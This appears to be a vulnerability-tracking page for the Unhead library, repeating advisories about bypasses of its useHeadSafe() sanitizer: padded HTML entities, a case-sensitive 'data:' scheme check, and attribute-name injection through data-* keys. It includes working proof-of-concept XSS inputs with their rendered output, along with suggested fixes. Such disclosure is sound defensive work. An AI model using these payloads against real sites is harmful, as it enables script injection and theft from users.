Unhead
Monthly
Unhead's useHeadSafe() composable, explicitly recommended by Nuxt documentation for safely rendering user-supplied content in document head, can be bypassed via padded HTML numeric character references that exceed regex digit limits. The hasDangerousProtocol() function silently fails to decode these entities, allowing blocked URI schemes (javascript:, data:, vbscript:) to pass validation; browsers then natively decode the padded entity during HTML parsing, enabling cross-site scripting (XSS) attacks. This affects Unhead versions prior to 2.1.13, with no confirmed active exploitation or public exploit code identified at time of analysis.
The `link.href` check in `makeTagSafe` (safe.ts, line 68-71) uses `String.includes()`, which is case-sensitive: ```typescript if (key === 'href') { if (val.includes('javascript:') || val.includes('data:')) { return } next[key] = val } ``` Browsers treat URI schemes case-insensitively. `DATA:text/css,...` is the same as `data:text/css,...` to the browser, but `'DATA:...'.includes('data:')` returns `false`. ### PoC ```javascript useHeadSafe({ link: [{ rel: 'stylesheet', href: 'DATA:text/css,body{display:none}' }] }) ``` SSR output: ```html <link rel="stylesheet" href="DATA:text/css,body{display:none}"> ``` The browser loads this as a CSS stylesheet. An attacker can inject arbitrary CSS for UI redressing or data exfiltration via CSS attribute selectors with background-image callbacks. Any case variation works: `DATA:`, `Data:`, `dAtA:`, `JAVASCRIPT:`, etc. ## Suggested fix ```typescript if (key === 'href') { const lower = val.toLowerCase() if (lower.includes('javascript:') || lower.includes('data:')) { return } next[key] = val } ```
## Summary `useHeadSafe()` can be bypassed to inject arbitrary HTML attributes, including event handlers, into SSR-rendered `<head>` tags. This is the composable that Nuxt docs recommend for safely handling user-generated content. ## Details **XSS via `data-*` attribute name injection** The `acceptDataAttrs` function (safe.ts, line 16-20) allows any property key starting with `data-` through to the final HTML. It only checks the prefix, not whether the key contains spaces or other characters that break HTML attribute parsing. ```typescript function acceptDataAttrs(value: Record<string, string>) { return Object.fromEntries( Object.entries(value || {}).filter(([key]) => key === 'id' || key.startsWith('data-')), ) } ``` This result gets merged into every tag's props at line 114: ```typescript tag.props = { ...acceptDataAttrs(prev), ...next } ``` Then `propsToString` (propsToString.ts, line 26) interpolates property keys directly into the HTML string with no sanitization: ```typescript attrs += value === true ? ` ${key}` : ` ${key}="${encodeAttribute(value)}"` ``` A space in the key breaks out of the attribute name. Everything after the space becomes separate HTML attributes. ### PoC The most practical vector uses a `link` tag. `<link rel="stylesheet">` fires `onload` once the stylesheet loads, giving reliable script execution: ```javascript useHeadSafe({ link: [{ rel: 'stylesheet', href: '/valid-stylesheet.css', 'data-x onload=alert(document.domain) y': 'z' }] }) ``` SSR output: ```html <link data-x onload=alert(document.domain) y="z" rel="stylesheet" href="/valid-stylesheet.css"> ``` The browser parses `onload=alert(document.domain)` as its own attribute. Once the stylesheet loads, the handler fires. The same injection works on any tag type since `acceptDataAttrs` is applied to all of them at line 114. Here's the same thing on a `meta` tag (the injected attributes render, though `onclick` doesn't fire on non-interactive `<meta>` elements): ```javascript useHeadSafe({ meta: [{ name: 'description', content: 'legitimate content', 'data-x onclick=alert(document.domain) y': 'z' }] }) ``` ### Realistic scenario A Nuxt app accepts SEO metadata from a CMS or user profile. The developer uses `useHeadSafe()` as the docs recommend. An attacker puts a `data-*` key with spaces and an event handler into their input. The payload renders into the HTML on every page load. ## Suggested fix For vulnerability 1, validate that attribute names only contain characters legal in HTML attributes: ```typescript const SAFE_ATTR_RE = /^[a-zA-Z][a-zA-Z0-9\-]*$/ function acceptDataAttrs(value: Record<string, string>) { return Object.fromEntries( Object.entries(value || {}).filter( ([key]) => (key === 'id' || key.startsWith('data-')) && SAFE_ATTR_RE.test(key) ), ) } ```
Unhead's useHeadSafe() composable, explicitly recommended by Nuxt documentation for safely rendering user-supplied content in document head, can be bypassed via padded HTML numeric character references that exceed regex digit limits. The hasDangerousProtocol() function silently fails to decode these entities, allowing blocked URI schemes (javascript:, data:, vbscript:) to pass validation; browsers then natively decode the padded entity during HTML parsing, enabling cross-site scripting (XSS) attacks. This affects Unhead versions prior to 2.1.13, with no confirmed active exploitation or public exploit code identified at time of analysis.
The `link.href` check in `makeTagSafe` (safe.ts, line 68-71) uses `String.includes()`, which is case-sensitive: ```typescript if (key === 'href') { if (val.includes('javascript:') || val.includes('data:')) { return } next[key] = val } ``` Browsers treat URI schemes case-insensitively. `DATA:text/css,...` is the same as `data:text/css,...` to the browser, but `'DATA:...'.includes('data:')` returns `false`. ### PoC ```javascript useHeadSafe({ link: [{ rel: 'stylesheet', href: 'DATA:text/css,body{display:none}' }] }) ``` SSR output: ```html <link rel="stylesheet" href="DATA:text/css,body{display:none}"> ``` The browser loads this as a CSS stylesheet. An attacker can inject arbitrary CSS for UI redressing or data exfiltration via CSS attribute selectors with background-image callbacks. Any case variation works: `DATA:`, `Data:`, `dAtA:`, `JAVASCRIPT:`, etc. ## Suggested fix ```typescript if (key === 'href') { const lower = val.toLowerCase() if (lower.includes('javascript:') || lower.includes('data:')) { return } next[key] = val } ```
## Summary `useHeadSafe()` can be bypassed to inject arbitrary HTML attributes, including event handlers, into SSR-rendered `<head>` tags. This is the composable that Nuxt docs recommend for safely handling user-generated content. ## Details **XSS via `data-*` attribute name injection** The `acceptDataAttrs` function (safe.ts, line 16-20) allows any property key starting with `data-` through to the final HTML. It only checks the prefix, not whether the key contains spaces or other characters that break HTML attribute parsing. ```typescript function acceptDataAttrs(value: Record<string, string>) { return Object.fromEntries( Object.entries(value || {}).filter(([key]) => key === 'id' || key.startsWith('data-')), ) } ``` This result gets merged into every tag's props at line 114: ```typescript tag.props = { ...acceptDataAttrs(prev), ...next } ``` Then `propsToString` (propsToString.ts, line 26) interpolates property keys directly into the HTML string with no sanitization: ```typescript attrs += value === true ? ` ${key}` : ` ${key}="${encodeAttribute(value)}"` ``` A space in the key breaks out of the attribute name. Everything after the space becomes separate HTML attributes. ### PoC The most practical vector uses a `link` tag. `<link rel="stylesheet">` fires `onload` once the stylesheet loads, giving reliable script execution: ```javascript useHeadSafe({ link: [{ rel: 'stylesheet', href: '/valid-stylesheet.css', 'data-x onload=alert(document.domain) y': 'z' }] }) ``` SSR output: ```html <link data-x onload=alert(document.domain) y="z" rel="stylesheet" href="/valid-stylesheet.css"> ``` The browser parses `onload=alert(document.domain)` as its own attribute. Once the stylesheet loads, the handler fires. The same injection works on any tag type since `acceptDataAttrs` is applied to all of them at line 114. Here's the same thing on a `meta` tag (the injected attributes render, though `onclick` doesn't fire on non-interactive `<meta>` elements): ```javascript useHeadSafe({ meta: [{ name: 'description', content: 'legitimate content', 'data-x onclick=alert(document.domain) y': 'z' }] }) ``` ### Realistic scenario A Nuxt app accepts SEO metadata from a CMS or user profile. The developer uses `useHeadSafe()` as the docs recommend. An attacker puts a `data-*` key with spaces and an event handler into their input. The payload renders into the HTML on every page load. ## Suggested fix For vulnerability 1, validate that attribute names only contain characters legal in HTML attributes: ```typescript const SAFE_ATTR_RE = /^[a-zA-Z][a-zA-Z0-9\-]*$/ function acceptDataAttrs(value: Record<string, string>) { return Object.fromEntries( Object.entries(value || {}).filter( ([key]) => (key === 'id' || key.startsWith('data-')) && SAFE_ATTR_RE.test(key) ), ) } ```